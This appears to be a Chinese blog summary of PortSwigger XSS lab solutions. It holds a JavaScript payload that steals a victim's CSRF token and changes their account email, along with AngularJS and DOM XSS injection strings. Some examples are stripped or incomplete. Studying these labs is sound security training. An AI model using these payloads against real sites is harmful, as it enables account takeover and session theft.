PortSwigger 跨站点脚本(XSS)

一、反射型 XSS

        1、什么是反射型 XSS?

        当应用程序在 HTTP 请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会出现反射式跨站点脚本。如:将XSS反射到HTML上下文中,没有进行转义

https://insecure-website.com/search?term=

PortSwigger 跨站点脚本(XSS)_第1张图片

        2、利用XSS漏洞可以干嘛?

                (1)利用跨站点脚本窃取 cookie

                (2)利用跨站点脚本捕获密码


                (3)利用跨站点脚本执行 CSRF

//当请求完成时触发保存返回报文
req.onload = handleResponse;
//创造请求
req.open('get','/my-account',true);
//发送请求
req.send();
function handleResponse() {
//获取token,(\W+):匹配一个或多个非字母进行切割,匹配到的非字母全部缓存;
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'[email protected]')
};

        3、如何利用-01 反射到上下文中的XSS

                (1)将XSS反射到HTML上下文中,未进行任何编码

                (2)将 XSS 反射到 HTML 上下文中,但大多数标签和事件都被阻止了

                        解题思路:通过Burp Suite 暴力破解先找到未被阻止的标签:body,继而确定未被阻止的事件;onresize,最后通过该标签和事件进行利用。如:

                 (5)AngularJS表达式中的DOM XSS,在双大括号内执行 JavaScript 表达式。

{{$on.constructor('alert(1)')()}}

                 (6)反射式 DOM XSS

\"-alert(1)}//

                (7)存储的 DOM XSS

<>

你可能感兴趣的:(PortSwigger,靶场总结,xss,javascript,html,web安全,安全)